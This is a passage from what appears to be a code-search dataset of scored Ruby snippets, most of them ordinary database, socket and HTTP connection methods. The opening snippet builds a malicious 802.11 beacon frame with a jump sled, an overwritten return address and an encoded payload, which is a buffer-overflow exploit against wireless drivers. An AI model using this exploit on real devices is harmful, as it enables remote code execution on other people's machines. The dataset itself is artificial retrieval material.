"text": "def create_beacon\r\n\r\n\t\tssid = rand_text_alphanumeric(6)\r\n\t\tbssid = (\"\\x00\" * 2) + rand_text(4)\r\n\t\tsrc = (\"\\x90\" * 4) + \"\\xeb\\x2b\"\r\n\t\tseq = [rand(255)].pack('n')\r\n\r\n\t\tbuff = rand_text(75)\r\n\t\tbuff[0, 2] = \"\\xeb\\x49\"\r\n\t\tbuff[71, 4] = [target.ret].pack('V')\r\n\r\n\t\tframe =\r\n\t\t\t\"\\x80\" + # type/subtype\r\n\t\t\t\"\\x00\" + # flags\r\n\t\t\t\"\\x00\\x00\" + # duration\r\n\t\t\teton(datastore['ADDR_DST']) + # dst\r\n\t\t\tsrc + # src\r\n\t\t\tbssid + # bssid\r\n\t\t\tseq + # seq\r\n\t\t\trand_text(8) + # timestamp value\r\n\t\t\t\"\\x64\\x00\" + # beacon interval\r\n\t\t\t\"\\x00\\x05\" + # capability flags\r\n\r\n\t\t\t# ssid tag\r\n\t\t\t\"\\x00\" + ssid.length.chr + ssid +\r\n\r\n\t\t\t# supported rates\r\n\t\t\t\"\\x01\" + \"\\x08\" + \"\\x82\\x84\\x8b\\x96\\x0c\\x18\\x30\\x48\" +\r\n\r\n\t\t\t# current channel\r\n\t\t\t\"\\x03\" + \"\\x01\" + channel.chr +\r\n\r\n\t\t\t# eip was his name-o\r\n\t\t\t\"\\x01\" + buff.length.chr + buff +\r\n\r\n\t\t\tpayload.encoded\r\n\r\n\t\treturn frame\r\n\tend",
"title": ""
},
{
"docid": "3c9fba86325be84880d3f88c6f95ce62",
"score": "0.55473995",
"text": "def establish_connection(*args)\n @@connection_adapter ||= use_adapter(:ole)\n @@connection = @@connection_adapter.new(*args)\n end",
"title": ""
},
{
"docid": "e8b4d1f676956808a56cfb48dc6944a9",
"score": "0.5544289",
"text": "def connection\n RobotArmy::GateKeeper.shared_instance.connect(host)\n end",
"title": ""
},
{
"docid": "d85da9a45501e35ba6ee640e527cf86d",
"score": "0.5529359",
"text": "def create\n @connection = Connection.new(connection_params)\n @connection.state = :ringing\n Log.create(:description => \"Incoming connection received\")\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to root_path, notice: 'Connection was successfully created.' }\n format.json { render :show, status: :created, location: @connection }\n else\n format.html { render :new }\n format.json { render json: @connection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "717a81b26b2d1fa89641b63d02a116be",
"score": "0.5525036",
"text": "def make_new(server)\n begin\n if @use_old_connect_api\n # SEQUEL6: Remove block\n conn = @db.connect(server)\n\n if ac = @after_connect\n if ac.arity == 2\n ac.call(conn, server)\n else\n ac.call(conn)\n end\n end\n \n if cs = @connect_sqls\n cs.each do |sql|\n db.send(:log_connection_execute, conn, sql)\n end\n end\n\n conn\n else\n @db.new_connection(server)\n end\n rescue Exception=>exception\n raise Sequel.convert_exception_class(exception, Sequel::DatabaseConnectionError)\n end || raise(Sequel::DatabaseConnectionError, \"Connection parameters not valid\")\n end",
"title": ""
},
{
"docid": "df80dfd36d4e33572379f31c0b417ae3",
"score": "0.55176324",
"text": "def new_client\n client = Client.last\n RegisterMailer.new_client(client)\n end",
"title": ""
},
{
"docid": "caea610f4ee0818d69c03aede773abb1",
"score": "0.5512623",
"text": "def connect(server)\n conn = super\n conn.extend(AdapterMethods)\n conn\n end",
"title": ""
},
{
"docid": "8ddba4953384a73741c0a71050c9c551",
"score": "0.55112255",
"text": "def connect\n client.connect\n end",
"title": ""
},
{
"docid": "7d4c82bce8447a6d450583b6e4b117d3",
"score": "0.55088615",
"text": "def connect(*args, &block)\n if !self.connection\n self.connection = Bunny.new(\n :host => configuration.host,\n :port => configuration.port,\n :user => configuration.user,\n :password => configuration.password\n )\n connection.start\n end\n end",
"title": ""
},
{
"docid": "ffb35cbff49b40e21c164df62fa5d53a",
"score": "0.5504451",
"text": "def initialize(client)\n self.client = client\n end",
"title": ""
},
{
"docid": "ba4170ce380494c915ed0b615b4f75e4",
"score": "0.5502186",
"text": "def create_connection(body,\r\n user_id = nil)\r\n # Prepare query url.\r\n _path_url = '/connections'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'user_id' => user_id\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n Connection.from_hash(decoded)\r\n end",
"title": ""
},
{
"docid": "32269b56b9186886b3c4d20276cad9e4",
"score": "0.5499601",
"text": "def create_socket_connection\n @current_call.log \"Connecting to AGI server at #{@agi_uri.host}:#{@agi_uri.port}\"\n @agi_client = TCPSocket.new @agi_uri.host, @agi_uri.port\n @agi_client.write initial_message(@agi_uri.host, @agi_uri.port, @agi_uri.path[1..-1])\n true\n rescue => e\n # If we can not open the socket to the AGI server, play/log an error message and hangup the call\n error_message = 'We are unable to connect to the A G I server at this time, please try again later.'\n @current_call.log \"====> #{error_message} <====\"\n @current_call.log e\n failover @tropo_agi_config['tropo']['next_sip_uri']\n false\n end",
"title": ""
},
{
"docid": "54a5388b1951bd6fb76202c5f4d84845",
"score": "0.5499309",
"text": "def create_connection\n @connection = Faraday.new(url: @api_host) do |builder|\n block_given? ? yield(builder) : Client.build_default_connection(builder)\n end\n end",
"title": ""
},
{
"docid": "8ffbc8548e98e4744f8f8a8697a7004f",
"score": "0.5497567",
"text": "def connect!(options = {})\n @connection = Base.new options\n end",
"title": ""
},
{
"docid": "d7e367a43266f342ca859538c861a1f2",
"score": "0.5496952",
"text": "def create_bridge\n return if @bridges.keys.include? @nic[:bridge]\n\n if @nic[:bridge_type] == 'openvswitch_dpdk'\n @nic[:ovs_bridge_conf] = {} unless @nic[:ovs_bridge_conf]\n @nic[:ovs_bridge_conf]['datapath_type'] = 'netdev'\n end\n\n OpenNebula.exec_and_log(\"#{command(:ovs_vsctl)} --may-exist add-br #{@nic[:bridge]}\")\n\n set_bridge_options\n\n @bridges[@nic[:bridge]] = []\n\n OpenNebula.exec_and_log(\"#{command(:ip)} link set #{@nic[:bridge]} up\")\n end",
"title": ""
}
] |
82c30b381d335d486b20f4641eb56a4a | In addition to the usual database options, the following options have an effect: :command_timeout :: Sets the time in seconds to wait while attempting to execute a command before cancelling the attempt and generating an error. Specifically, it sets the ADO CommandTimeout property. If this property is not set, the default of 30 seconds is used. :driver :: The driver to use in the ADO connection string. If not provided, a default of "SQL Server" is used. :conn_string :: The full ADO connection string. If this is provided, the usual options are ignored. :provider :: Sets the Provider of this ADO connection (for example, "SQLOLEDB"). If you don't specify a provider, the default one used by WIN32OLE has major problems, such as creating a new native database connection for every query, which breaks things such as temporary tables. Pay special attention to the :provider option, as without specifying a provider, many things will be broken. The SQLNCLI10 provider appears to work well if you are connecting to Microsoft SQL Server, but it is not the default as that would break backwards compatability. | [
{
"docid": "365e0b551d426ed687769affa0e6f5c7",
"score": "0.5577227",
"text": "def connect(server)\n opts = server_opts(server)\n s = opts[:conn_string] || \"driver=#{opts[:driver]};server=#{opts[:host]};database=#{opts[:database]}#{\";uid=#{opts[:user]};pwd=#{opts[:password]}\" if opts[:user]}\"\n handle = WIN32OLE.new('ADODB.Connection')\n handle.CommandTimeout = opts[:command_timeout] if opts[:command_timeout]\n handle.Provider = opts[:provider] if opts[:provider]\n handle.Open(s)\n handle\n end",
"title": ""
}
] | [
{
"docid": "0c9b067169538eed7e16b1b7a66cb632",
"score": "0.6362218",
"text": "def execute_command(sql_statement)\r\n # Create an instance of an ADO COmmand\r\n command = WIN32OLE.new('ADODB.Command')\r\n \r\n # Execute the SQL statement using the existing ADO connection\r\n command.ActiveConnection = @connection\r\n command.CommandText=sql_statement\r\n command.CommandTimeout = @timeout unless @timeout.nil?\r\n command.Execute\r\n end",
"title": ""
},
{
"docid": "01a940d9f852385df4dec7daff738e91",
"score": "0.6253368",
"text": "def add_timeouts(conn, options)\n if !options[:ignore_timeout]\n conn.options.timeout = Expedia.timeout.to_i if Expedia.timeout.present?\n conn.options.open_timeout = Expedia.open_timeout.to_i if Expedia.open_timeout.present?\n end\n conn\n end",
"title": ""
},
{
"docid": "269ad2c86374e98227767030e52819ef",
"score": "0.58430594",
"text": "def test_connection_options\n params = ActiveRecord::Base.connection_config.dup\n params[:options] = \"-c geqo=off\"\n NonExistentTable.establish_connection(params)\n\n # Verify the connection param has been applied.\n expect = NonExistentTable.connection.query('show geqo').first.first\n assert_equal 'off', expect\n end",
"title": ""
},
{
"docid": "5fc72a3016c352f648d48c1b60670c0a",
"score": "0.58172905",
"text": "def test_connection_options\n params = ActiveRecord::Base.connection_db_config.configuration_hash.dup\n params[:options] = \"-c geqo=off\"\n NonExistentTable.establish_connection(params)\n\n # Verify the connection param has been applied.\n expect = NonExistentTable.connection.query(\"show geqo\").first.first\n assert_equal \"off\", expect\n end",
"title": ""
},
{
"docid": "802eb48fa75187f5c3a98365e762c5d0",
"score": "0.57863605",
"text": "def in_database(options = {}, &block)\n if options[:statement_timeout]\n in_database.run(\"SET statement_timeout TO #{options[:statement_timeout]}\")\n end\n\n configuration = db_service.db_configuration_for(options[:as])\n configuration['database'] = options['database'] unless options['database'].nil?\n\n connection = get_connection(options, configuration)\n\n if block_given?\n yield(connection)\n else\n connection\n end\n\n ensure\n if options[:statement_timeout]\n in_database.run('SET statement_timeout TO DEFAULT')\n end\n end",
"title": ""
},
{
"docid": "3c9e82c21a57915afb9ac7d054a87a5b",
"score": "0.57841355",
"text": "def transaction_with_timeout(options)\n statement_timeout = options.delete(:statement_timeout)\n in_database(options) do |db|\n db.transaction do\n begin\n db.run(\"SET statement_timeout TO #{statement_timeout}\") if statement_timeout\n yield db\n db.run('SET statement_timeout TO DEFAULT')\n end\n end\n end\n end",
"title": ""
},
{
"docid": "da10f57ea5e7cc107bb4fbef585d6639",
"score": "0.57232034",
"text": "def timeout\n connection.options[:timeout]\n end",
"title": ""
},
{
"docid": "bacf8a978abab4b4b8e802632dd31daa",
"score": "0.56369454",
"text": "def connect\n if @opts[:database]\n dbname = @opts[:host] ? \\\n \"//#{@opts[:host]}/#{@opts[:database]}\" : @opts[:database]\n else\n dbname = @opts[:host]\n end\n conn = OCI8.new(@opts[:user], @opts[:password], dbname, @opts[:privilege])\n conn.autocommit = true\n conn.non_blocking = true\n conn\n end",
"title": ""
},
{
"docid": "c1f735fcfdc12c70c1eebe94e6ac2243",
"score": "0.56266165",
"text": "def set_statement_timeout(timeout)\n ActiveRecord::Base.connection.execute(\n format(%(SET LOCAL statement_timeout = '%s'), timeout)\n )\n end",
"title": ""
},
{
"docid": "781a76d1b2bf973adf0f29e8d5cac288",
"score": "0.55649894",
"text": "def connect_using(dsn, user, password, options = {})\n\t\t@dsn = dsn\n\t\t@user = user\n\t\t@password = password\n\t\t@options = options\n\tend",
"title": ""
},
{
"docid": "cd9bad970dd095e05ece590dd65353e8",
"score": "0.5519887",
"text": "def run_select_query(query)\n\n connection = nil\n @host = \"jdbc:sqlserver://Tesladb.xypro.com:1433;DatabaseName=XYGATE_Dev\"\n #@host = \"jdbc:sqlserver://tesla.demo.xypro.com:1433;DatabaseName=XYGATE_Demo\"\n @username = \"Tesla_User\"\n @password = \"T3$1@_U$3r\"\n @dbname = \"XYGATE_Dev\"\n\n begin\n connection = DBI.connect(\"DBI:ADO:Provider=SQLOLEDB;Data Source=#{@host};Initial Catalog=#{@dbname};User ID=#{@username};Password=#{@password}\")\n rescue DBI::DatabaseError => e\n\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n end\n dataset = connection.execute(query).fetch_all\n connection.disconnect\n\n return dataset\nend",
"title": ""
},
{
"docid": "8bc750d377bc18bc22122fcf8debd95c",
"score": "0.5448391",
"text": "def connection_options; end",
"title": ""
},
{
"docid": "af2b5bad4c1a10dcba231ffbe3df6fef",
"score": "0.5433987",
"text": "def use_database_cli_options(params)\n params['db_instance_identifier'] = @options[:name] # required\n params['db_name'] = @options[:db_name] if @options[:db_name]\n params['master_username'] = @options[:db_user] if @options[:db_user]\n params['master_user_password'] = @options[:db_password] if @options[:db_password]\n params\n end",
"title": ""
},
{
"docid": "4cefcd5ff950a3afb4d74f18756b9cf7",
"score": "0.543043",
"text": "def timeout\n @options[:timeout] || 10\n end",
"title": ""
},
{
"docid": "bcaf475d8648c4298d9bc77d97a9a048",
"score": "0.5427882",
"text": "def db_connection_opts\n connection_opts(@config[\"db_connection\"], @config[\"db_file\"])\n end",
"title": ""
},
{
"docid": "64b830d61ff8809a680ca0e62f17336a",
"score": "0.5416367",
"text": "def initialize(params = {})\r\n # Set the connection parameters\r\n params = { :host => nil, :user_name => nil, :password => nil,\r\n :database => nil, :timeout => nil }.merge!(params)\r\n @timeout = params[:timeout]\r\n @connection = open(params)\r\n end",
"title": ""
},
{
"docid": "4f1b4c8eb19d073e78e93ff1a22a228f",
"score": "0.5403012",
"text": "def timeout\n @timeout ||= options[:timeout] || 20\n end",
"title": ""
},
{
"docid": "0311fb0b0a5231c94357b9bc68802105",
"score": "0.5317401",
"text": "def set_sane_defaults\n self.connection_timeout = 30 if self.connection_timeout.nil?\n end",
"title": ""
},
{
"docid": "d9832e48e1bc0eb9f6ad5b6a9d53e2c6",
"score": "0.5314313",
"text": "def default_connection_options; end",
"title": ""
},
{
"docid": "d9832e48e1bc0eb9f6ad5b6a9d53e2c6",
"score": "0.5314313",
"text": "def default_connection_options; end",
"title": ""
},
{
"docid": "b5034c63cbcd67902cc6e86570a5f86c",
"score": "0.5298635",
"text": "def connect(options = {})\n hostname, username, password, port, timeout, dbname = split_options(options)\n logger.debug \"Connecting to PostgreSQL (#{username}@#{hostname}:#{port}) with timeout (#{timeout})\"\n begin\n @connection = PG::Connection.new(:host => hostname, :port => port, :connect_timeout => timeout, :dbname => dbname, :user => username, :password => password)\n rescue PG::Error => e\n if e.message.include? 'database \"' + dbname + '\" does not exist'\n @connection = create_database(hostname, port, username, password, dbname, timeout)\n else\n logger.error e.message\n raise\n end\n end\n @connection.db == dbname\n end",
"title": ""
},
{
"docid": "cc1818457dd2ca9538194b406520e112",
"score": "0.528204",
"text": "def ping_database?(dsn=@dsn, timeout=@timeout, user=@sid, passwd=Time.now.to_s)\n re = /ORA-01017/\n dbh = nil\n user ||= Time.now.to_s\n rv = false\n\n begin\n Timeout.timeout(timeout){\n dbh = DBI.connect(dsn,user,passwd)\n }\n rescue DBI::DatabaseError => e\n if re.match(e.to_s)\n rv = true\n else\n @exception = e\n end\n rescue Timeout::Error, StandardError => e\n @exception = e\n ensure\n if dbh\n dbh.disconnect if dbh.connected?\n end\n end\n\n rv\n end",
"title": ""
},
{
"docid": "c0b9b665701289f6554f67aa050bfc9b",
"score": "0.52751666",
"text": "def timeout\n # this is currently not in the connector_configurations table and is taken from global app configuration\n Cartodb.get_config(:connectors, connector_provider.name, 'timeout') || DEFAULT_CONNECTOR_TIMEOUT\n end",
"title": ""
},
{
"docid": "1a562144f9b0cc02ff1c4baefda40d98",
"score": "0.5273624",
"text": "def connection_timeout\n super\n end",
"title": ""
},
{
"docid": "c9299eb996b6eff477194ab414a10542",
"score": "0.52666605",
"text": "def connect_timeout\n datastore['ConnectTimeout']\n end",
"title": ""
},
{
"docid": "674f6528914c8360d0cf114ee9bc2ae6",
"score": "0.5259504",
"text": "def timeout\n\t\t\t\t@options[:timeout]\n\t\t\tend",
"title": ""
},
{
"docid": "8219b9ff9ff12fda6daf27abf1aa558b",
"score": "0.52404195",
"text": "def connection_options(parameters)\n # Prefix option names with \"odbc_\"\n # Quote values that contain semicolons (the ODBC connection string pair separator)\n parameters.map { |option_name, option_value| [\"odbc_#{option_name}\", quoted_value(option_value)] }\n end",
"title": ""
},
{
"docid": "a9c3b24a700b9a7ed73fdfb70c25e242",
"score": "0.52402675",
"text": "def timeout\n @timeout ||= (options[:timeout] || 5)\n end",
"title": ""
},
{
"docid": "8eef1feabacf708c3653af846467065d",
"score": "0.52400917",
"text": "def connect_timeout\n\t\tdatastore['ConnectTimeout']\n\tend",
"title": ""
},
{
"docid": "cd30d02ce9a1a7bd71166a8a667ff71f",
"score": "0.5238982",
"text": "def execute(*args)\r\n execute_without_retry(*args)\r\n rescue ActiveRecord::StatementInvalid => e\r\n if e.message =~ /server has gone away/i\r\n warn \"Server timed out, retrying\"\r\n reconnect!\r\n retry\r\n else\r\n raise e\r\n end\r\n end",
"title": ""
},
{
"docid": "6040325a65313d94b4feb0f6c874f554",
"score": "0.5236118",
"text": "def db_connect(options = {})\n db_defaults! options\n @conn = db_connect! options\n self.class.prepare_all_statements(@conn)\n end",
"title": ""
},
{
"docid": "456141b0ef35fbc5e74416be44383fc4",
"score": "0.52344894",
"text": "def disable_statement_timeout\n ActiveRecord::Base.connection.execute('SET statement_timeout TO 0') if Database.postgresql?\n end",
"title": ""
},
{
"docid": "fa8be5abc74ce4547f55d20b6dcd2975",
"score": "0.5219956",
"text": "def set_connection_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end",
"title": ""
},
{
"docid": "3b5690a10d159258455bfc5ebc7b18c3",
"score": "0.52020377",
"text": "def execute_dui(sql, opts=OPTS)\n return super if opts[:provider]\n synchronize(opts[:server]) do |conn|\n begin\n log_connection_yield(sql, conn){conn.Execute(sql, 1)}\n WIN32OLE::ARGV[1]\n rescue ::WIN32OLERuntimeError => e\n raise_error(e)\n end\n end\n end",
"title": ""
},
{
"docid": "3b5690a10d159258455bfc5ebc7b18c3",
"score": "0.52020377",
"text": "def execute_dui(sql, opts=OPTS)\n return super if opts[:provider]\n synchronize(opts[:server]) do |conn|\n begin\n log_connection_yield(sql, conn){conn.Execute(sql, 1)}\n WIN32OLE::ARGV[1]\n rescue ::WIN32OLERuntimeError => e\n raise_error(e)\n end\n end\n end",
"title": ""
},
{
"docid": "53f2d2720e3dc61485ee14c7994f3b5b",
"score": "0.51973474",
"text": "def connection_options\n opts = {}\n\n if @wtimeout\n warn \"Using wtimeout in a URI is deprecated, please use wtimeoutMS. It will be removed in v2.0.\"\n opts[:wtimeout] = @wtimeout\n end\n opts[:wtimeout] = @wtimeoutms\n\n opts[:w] = 1 if @safe\n opts[:w] = @w if @w\n opts[:j] = @journal\n opts[:fsync] = @fsync\n\n if @connecttimeoutms\n opts[:connect_timeout] = @connecttimeoutms\n end\n\n if @sockettimeoutms\n opts[:op_timeout] = @sockettimeoutms\n end\n\n if @pool_size\n opts[:pool_size] = @pool_size\n end\n\n if @readpreference\n opts[:read] = @readpreference\n end\n\n if @slaveok && !@readpreference\n if direct?\n opts[:slave_ok] = true\n else\n opts[:read] = :secondary_preferred\n end\n end\n\n opts[:ssl] = @ssl\n\n if direct?\n opts[:auths] = auths\n end\n\n if replicaset.is_a?(String)\n opts[:name] = replicaset\n end\n\n opts[:connect] = connect?\n\n opts\n end",
"title": ""
},
{
"docid": "2503d299f7667b394eefa979858c735f",
"score": "0.5182964",
"text": "def default_connection_options=(options); end",
"title": ""
},
{
"docid": "7caee1dca7ce702f9d43198e1be6a321",
"score": "0.5172371",
"text": "def execute_dui(sql, opts=OPTS)\n return super unless @opts[:provider]\n synchronize(opts[:server]) do |conn|\n begin\n log_connection_yield(sql, conn){conn.Execute(sql)}\n rows_affected_sql = \"SELECT @@ROWCOUNT AS AffectedRows\"\n res = log_connection_yield(rows_affected_sql, conn){conn.Execute(rows_affected_sql)}\n res.getRows.transpose.each{|r| return r.shift}\n rescue ::WIN32OLERuntimeError => e\n raise_error(e)\n end\n end\n end",
"title": ""
},
{
"docid": "2f2e597470edcfa4da535ca275b341ae",
"score": "0.51719856",
"text": "def query(sql, options)\n raise NotImplementedError, 'this should be overridden by concrete client'\n end",
"title": ""
},
{
"docid": "4538040f256ecfb74ee08e312cad0459",
"score": "0.51667285",
"text": "def connect\n Command::Database::Connect.new(\n *command_params\n ).execute\n rescue => e\n catch_errors(e)\n end",
"title": ""
},
{
"docid": "2687d39a7cf0c327efa03954a12b4440",
"score": "0.51539767",
"text": "def options(opt, value=nil)\n case opt\n when Mysql::INIT_COMMAND\n @init_command = value.to_s\n# when Mysql::OPT_COMPRESS\n when Mysql::OPT_CONNECT_TIMEOUT\n @connect_timeout = value\n# when Mysql::GUESS_CONNECTION\n when Mysql::OPT_LOCAL_INFILE\n @local_infile = value\n# when Mysql::OPT_NAMED_PIPE\n# when Mysql::OPT_PROTOCOL\n when Mysql::OPT_READ_TIMEOUT\n @read_timeout = value.to_i\n# when Mysql::OPT_RECONNECT\n# when Mysql::SET_CLIENT_IP\n# when Mysql::OPT_SSL_VERIFY_SERVER_CERT\n# when Mysql::OPT_USE_EMBEDDED_CONNECTION\n# when Mysql::OPT_USE_REMOTE_CONNECTION\n when Mysql::OPT_WRITE_TIMEOUT\n @write_timeout = value.to_i\n# when Mysql::READ_DEFAULT_FILE\n# when Mysql::READ_DEFAULT_GROUP\n# when Mysql::REPORT_DATA_TRUNCATION\n# when Mysql::SECURE_AUTH\n# when Mysql::SET_CHARSET_DIR\n when Mysql::SET_CHARSET_NAME\n @charset = Charset.by_name value.to_s\n# when Mysql::SHARED_MEMORY_BASE_NAME\n else\n warn \"option not implemented: #{opt}\"\n end\n self\n end",
"title": ""
},
{
"docid": "be6849964635551801fc5efe4738f7d3",
"score": "0.51538885",
"text": "def raise_pool_timeout(elapsed, server)\n name = db.opts[:name]\n raise ::Sequel::PoolTimeout, \"timeout: #{@timeout}, elapsed: #{elapsed}, server: #{server}#{\", database name: #{name}\" if name}\"\n end",
"title": ""
},
{
"docid": "99a4c5dc949ead4f02c94255e1c4f57d",
"score": "0.51491714",
"text": "def query_opts\n opts = 0\n opts |= EM::Mongo::OP_QUERY_NO_CURSOR_TIMEOUT unless @timeout\n opts |= EM::Mongo::OP_QUERY_SLAVE_OK if @connection.slave_ok?\n opts |= EM::Mongo::OP_QUERY_TAILABLE if @tailable\n opts\n end",
"title": ""
},
{
"docid": "7bc278d03538ea5e355ad26266d1726d",
"score": "0.5148209",
"text": "def command_options\n { retries: 2 }\n end",
"title": ""
},
{
"docid": "cae241810b74e85a764b9d0215ab9199",
"score": "0.51447815",
"text": "def disable_statement_timeout\n execute('SET statement_timeout TO 0') if Database.postgresql?\n end",
"title": ""
},
{
"docid": "a34b712f9573bcf65249ccd78e7c0e41",
"score": "0.5126957",
"text": "def timeout\n options[:timeout] || super\n end",
"title": ""
},
{
"docid": "0bd0a4116eddebec2a62d9597b655eb8",
"score": "0.5120317",
"text": "def execute(sql, opts={})\n synchronize(opts[:server]) do |c|\n begin\n m = opts[:return]\n r = nil\n log_yield(sql) do\n r = c.execute(sql)\n return r.send(m) if m\n end\n yield(r) if block_given?\n rescue TinyTds::Error => e\n raise_error(e, :disconnect=>!c.active?)\n ensure\n r.cancel if r && c.sqlsent?\n end\n end\n end",
"title": ""
},
{
"docid": "ae6bc3cc738b74423e738380e4e2aab9",
"score": "0.5090721",
"text": "def configure_connection\n settings = Rails.application.config.marty.sqlserver_connection_settings\n settings.each do |config_stmt|\n raw_connection_do(config_stmt)\n end\n end",
"title": ""
},
{
"docid": "f8e863ec5ec7bf764348e526f82629ae",
"score": "0.50830376",
"text": "def lacp_timeout_option\n super\n end",
"title": ""
},
{
"docid": "45faedbc67e823054dbf24143a105fc6",
"score": "0.5082253",
"text": "def with_statement_timeout(timeout)\n # Force a positive value and a minimum of 1ms for very small values.\n timeout = (timeout * 1000).abs.ceil\n\n raise ArgumentError, 'Using a timeout of `0` means to disable statement timeout.' if timeout == 0\n\n previous_timeout = ActiveRecord::Base.connection\n .exec_query('SHOW statement_timeout')[0].fetch('statement_timeout')\n\n set_statement_timeout(\"#{timeout}ms\")\n\n yield\n ensure\n begin\n set_statement_timeout(previous_timeout)\n rescue ActiveRecord::StatementInvalid\n # After a transaction was canceled/aborted due to e.g. a statement\n # timeout commands are ignored and will raise in PG::InFailedSqlTransaction.\n # We can safely ignore this error because the statement timeout was set\n # for the currrent transaction which will be closed anyway.\n end\n end",
"title": ""
},
{
"docid": "b0bb12a86dc44c094767178c0300edf2",
"score": "0.5076255",
"text": "def initialize(options)\n super\n\n @typemap.update(TrueClass => 'tinyint', Time => 'datetime')\n\n @conn = Mysql.connect(\n options[:address] || options[:host] || 'localhost',\n options[:user],\n options[:password],\n options[:name],\n options[:port],\n options[:socket]\n )\n\n # You should set recconect to true to avoid MySQL has\n # gone away errors.\n\n if @conn.respond_to? :reconnect\n options[:reconnect] = true unless options.has_key?(:reconnect)\n @conn.reconnect = options[:reconnect]\n end\n\n rescue Object => ex\n if database_does_not_exist_exception? ex\n info \"Database '#{options[:name]}' not found!\"\n create_db(options)\n retry\n end\n\n error ex.to_s\n\n raise\n end",
"title": ""
},
{
"docid": "98bd5a2bbcfb4a2818f76325a8b42b73",
"score": "0.50583977",
"text": "def connect(server)\n opts = server_opts(server)\n opts[:username] = opts[:user]\n c = TinyTds::Client.new(opts)\n c.query_options.merge!(:cache_rows=>false)\n\n if (ts = opts[:textsize])\n sql = \"SET TEXTSIZE #{typecast_value_integer(ts)}\"\n log_connection_yield(sql, c){c.execute(sql)}\n end\n \n c\n end",
"title": ""
},
{
"docid": "b935174e9928969cde317254ab578a7c",
"score": "0.5045544",
"text": "def connect!\n @handle = DBI.connect(\"DBI:Mysql:#{@options[:database]}:#{@options[:host]}\", @options[:user], @options[:password])\n end",
"title": ""
},
{
"docid": "d8798565fe35eb580594b86023d0c193",
"score": "0.5023168",
"text": "def timeout\n @timeout ||= (options[:pool_timeout] || TIMEOUT)\n end",
"title": ""
},
{
"docid": "98841b674fcb65a9ca2a0a8ea5711c55",
"score": "0.5012278",
"text": "def connect()\n #To consider: disable colorized logging?\n #To consider: create config option for this?\n #ActiveRecord::Base.logger = Logger.new(STDERR)\n #ActiveRecord::Base.logger.level = Logger::WARN\n ActiveRecord::Base.time_zone_aware_attributes = true\n ActiveRecord::Base.default_timezone = :utc\n ActiveRecord::Base.establish_connection(\n :adapter => self.db_type,\n :database => self.database,\n :username => self.username,\n :password => self.password,\n :host => self.server,\n :port => self.port)\n end",
"title": ""
},
{
"docid": "85707ea91f6357f850cd8b7d4b291bd6",
"score": "0.50106883",
"text": "def make_connection(clazz, arunit, db_file)\n ActiveRecord::Base.configurations[arunit] =\n { :adapter => 'odbc',\n :conn_str => \"Driver={Microsoft Access Driver (*.mdb)};DBQ=#{db_file}\",\n :trace => true\n }\n unless File.exist?(db_file)\n puts \"MS Access database not found at #{db_file}. Rebuilding it.\"\n conn = WIN32OLE.new(\"ADOX.Catalog\")\n connection_string = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=#{db_file}\"\n conn.Create(connection_string)\n end\n clazz.establish_connection(arunit)\n\nend",
"title": ""
},
{
"docid": "e7b0d51ded17a72f4f2f27c9b68fc684",
"score": "0.5008275",
"text": "def open_connection\n \n connection, duration_ms = execute_and_chrono do\n \n begin\n connection = Mongo::Connection.new(options[:host], options[:port])\n connection.add_auth(options[:database], options[:username], options[:password])\n connection.apply_saved_authentication\n connection\n rescue\n Persistence.logger.fatal('Persistence') {\" (#{duration_ms}) ERROR GETTING MongoDB CONNECTION\"} if Persistence.logger\n raise\n end\n \n end\n \n #Persistence.logger.debug('Persistence') {\" (#{'%1.5f' % duration_ms}) GETTING MongoDB CONNECTION\"} if Persistence.logger\n \n connection\n \n end",
"title": ""
},
{
"docid": "b0ef328997b2f2d5b2ca140f24d6e0c3",
"score": "0.5003531",
"text": "def timeout_sec\n @timeout_sec ||= ENV['TIMEOUT_SEC'] || @connection_info.fetch(:timeout_sec, nil) || $setting.dig(:bigquery, :timeout_sec)\n end",
"title": ""
},
{
"docid": "1a33fa1d7f8e5e0c0d70fec0b075bc1d",
"score": "0.49986833",
"text": "def mysql_connection_setting_sqls\n sqls = []\n \n if wait_timeout = opts.fetch(:timeout, 2147483)\n # Increase timeout so mysql server doesn't disconnect us\n # Value used by default is maximum allowed value on Windows.\n sqls << \"SET @@wait_timeout = #{wait_timeout}\"\n end\n\n # By default, MySQL 'where id is null' selects the last inserted id\n sqls << \"SET SQL_AUTO_IS_NULL=0\" unless opts[:auto_is_null]\n\n # If the user has specified one or more sql modes, enable them\n if sql_mode = opts[:sql_mode]\n sql_mode = Array(sql_mode).join(',').upcase\n sqls << \"SET sql_mode = '#{sql_mode}'\"\n end\n\n sqls\n end",
"title": ""
},
{
"docid": "4a1e2e0dd834d5e7a4bab1b060c08f38",
"score": "0.49975467",
